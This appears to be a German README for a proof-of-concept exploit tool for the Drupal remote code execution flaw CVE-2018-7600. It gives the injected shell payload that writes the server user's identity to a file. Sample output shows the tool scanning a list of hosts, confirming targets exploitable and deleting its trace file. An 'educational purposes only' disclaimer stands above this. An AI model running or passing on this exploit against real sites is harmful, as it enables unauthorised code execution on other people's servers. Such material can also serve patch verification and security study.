
Proof-of-Concept für Drupal CVE-2018-7600 / SA-CORE-2018-002
Drupal vor Version 7.58, 8.x vor 8.3.9, 8.4.x vor 8.4.6 und 8.5.x vor 8.5.1 erlaubt es entfernten Angreifern, beliebigen Code auszuführen, aufgrund eines Problems, das mehrere Subsysteme mit Standard- oder häufigen Modulkonfigurationen betrifft.
Es sendet ein Paket an den drupal_ajax-Wrapper, um einen Benutzer zu registrieren. Ermöglicht dem Benutzer, das exec-Markup zu verwenden und Bash auszuführen. Dieser PoC sendet den Benutzernamen und die ID an abcde.txt.
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee abcde.txt
Überprüft http*://example.com/abcde.txt
[!] PROVIDED ONLY FOR EDUCATIONAL OR INFORMATION PURPOSES.
[?] Enter file name (example: /root/file/hosts.txt): hosts.txt
[+] https://example.com/ Possibly exploitable
[~] Checking... https://example.com/abcde.text
[+] https://example.com/ Exploitable
[+] UID: 33 Name: www-data
[+] Deleting... https://example.com/abcde.text
%s = Dateiname
Payload für Benutzer-ID, PID und Gruppe
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee %s